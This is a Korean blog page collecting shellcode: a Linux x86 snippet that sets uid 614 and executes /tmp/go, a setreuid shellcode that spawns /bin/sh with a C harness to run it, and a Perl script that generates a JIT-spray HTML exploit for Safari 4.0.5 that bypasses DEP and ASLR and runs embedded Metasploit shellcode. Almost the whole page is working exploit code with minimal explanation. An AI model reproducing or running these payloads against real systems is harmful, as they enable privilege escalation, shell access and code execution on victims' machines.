Shellcode 모음

uid, gid 설정 및 실행 파일 설정

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
char shellcode[] =
"\x31\xc0\xb0\x46\x66\xbb\x66\x02\x66\xb9\x66\x02\xcd\x80"    // uid 614
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/go";    // /tmp/go 실행

int main()
{
    printf("Length: %d bytes.\n'", strlen(shellcode));
    (*(void(*)()) shellcode)();

    return 0;
}

Universal setreuid() shellcode (출처 : http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"    // setreuid( geteuid() , geteuid() );
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";    // shellcode

int main()
{
    printf("Length: %d bytes.\n'", strlen(shellcode));
    (*(void(*)()) shellcode)();

    return 0;
}

Script JIT shellcode generator for DEP and ASLR bypass (출처 : http://shell-storm.org/shellcode/files/shellcode-686.php)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/perl
#
# Script JIT shellcode generator
# for DEP and ASLR bypass
# tested on Safari (ver. 4 and 5)
# By Alexey Sintsov (dookie at inbox.ru / a.sintsov at dsec.ru)
# from Digital Security 
# [www.dsecrg.com]
# 
# Details: http://dsecrg.com/pages/pub/show.php?id=26
# P.S. here is 0x1000 as mul. factor: (0x0000XXYY*0x00010000=0xXXYY0000)
# this much better for automatic generation than mul. of sqrt of 0xXXYY0000 8)
#
#
# Safari 4.0.5 Memory corruption exploit
# Orig exploit by Krystian Kloskowski
# (used for demo)
#
#
# Special for www.xakep.ru
# 
# Usage:perl safari_jit.pl > exploit.html
#
# 
#
    #Shellcode from Metasploit - Exec CALC
    $shellcode = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
    "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
    "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
    "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
    "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
    "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
    "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
    "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .
    "\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95" .
    "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5calc\x00";

    #Address with RWX - place for shellcode
    $addr="\x08\x0A"; #0x080A0000

#################################################################
########                     BEGIN                    ###########
#################################################################    

    $len=length($shellcode);

    $add=$len % 4;

    $copyJit="";

    for($i=0;$i<$add;$i++)
    {
        $shellcode.="\xCC";
    }

    $offsetJit="\"0x22222222^\"+/* START OF OFFSET */\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+\n".
            "\"0x22222222^\"+ /*SHELLCODE BEGINS*/\n";    

    # Init JIT shelcode
    $initJit="\"0x14EBC031^\"+//XOR EAX,EAX\n".
             "\"0x14EB01B4^\"+\n". 
             "\"0x14EB00B0^\"+\n".
             "\"0x14EBE0F7^\"+// EAX=0x100*0x100\n". 
             "\"0x14EBF08B^\"+// MOV ESI, EAX ;ESI=00010000 - MUL factor\n". 
             "\"0x14EBC031^\"+ //XOR EAX,EAX\n".
             sprintf("\"0x14EB%02lxB4^\"+\n",ord substr($addr,0,1)).
             sprintf("\"0x14EB%02lxB0^\"+\n",ord substr($addr,1,1)).
             "\"0x14EBE6F7^\"+ // MUL ESI; EAX - RWX memory for shellcode\n".
             "\"0x14EBC88B^\"+ // mov ecx, eax ; ECX - pointer on RWE mem\n".
             "\"0x14EBDB33^\"+ // xor ebx, ebx\n".
             "\"0x14EB04B3^\"+ // mov bl, 4    ; EBX = 0x4 - step \n";

    #Convert shellcode into JIT code
    for($i=0;$i<length($shellcode);$i+=4)
    {
        my $val="";
        $byte1=substr($shellcode,($i+3),1);
        $byte2=substr($shellcode,($i+2),1);
        $byte3=substr($shellcode,($i+1),1);
        $byte4=substr($shellcode,($i),1);
        $val.="\"0x14EBC031^\"+ //XOR EAX,EAX\n";
        $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte1);
        $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte2);
        $val.= "\"0x14EBE6F7^\"+ //MUL ESI\n";
        $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte3);
        $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte4);
        $val.="\"0x14EB0189^\"+ // mov [ecx], eax ; copy part of shellcode to RWX page\n".
              "\"0x14EBCB03^\"+ // add ecx, ebx ; ecx=ecx+4 - move pointer for next copy\n";

        $copyJit.=$val;

    }

    $jumJit="\"0x14EB00B5^\"+ // mov ch, 00\n".
            "\"0x14EB00B1^\"+ // mov cl, 00 ; ECX - RWE memory WITH shellcode\n".
            "\"0x14EBE1FF^\"+ // JMP ECX ; PROFIT! \n";

    $page="
<!-- 
JIT-SPRAY
           for
                 Safari 4.0.5 - 5.0.0

(vuln for 4.0.5 only)

JavaScript JIT SHELLCODE and spray
             for
         ASLR / DEP bypass (Win x32)

By Alexey Sintsov
   from Digital Security research Group

special for www.xakep.ru

[DSecRG]
www.dsecrg.com

-->

<script>

function make_buf(payload, len) {
    while(payload.length < (len * 4)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

function fff()
{

    var a = parent;

    var buf = make_buf(unescape('%u0104%u0606'), 68000);

    a.prompt(alert);
    a.prompt(buf);
    a.close();
    a.prompt(alert);

}

var SPRAY=\"\";

var JIT=\"{ \"+
\"var y=(\"+
";

$endPage="\"0x14ebcccc\"+
\");\"+
\"return y; }\";

var zl=\"zlo_\";

for (var i=1;i<800;i++)
{
    SPRAY+=\"function \"+zl+i+\"()\"+JIT+\" \"+zl+i+\"();\";
}

eval(SPRAY);

fff();
</script>

</center>";

#build page
$page.=$offsetJit.$initJit.$copyJit.$jumJit.$endPage;

print $page;
Hugo로 만듦
Jimmy의 Stack 테마 사용 중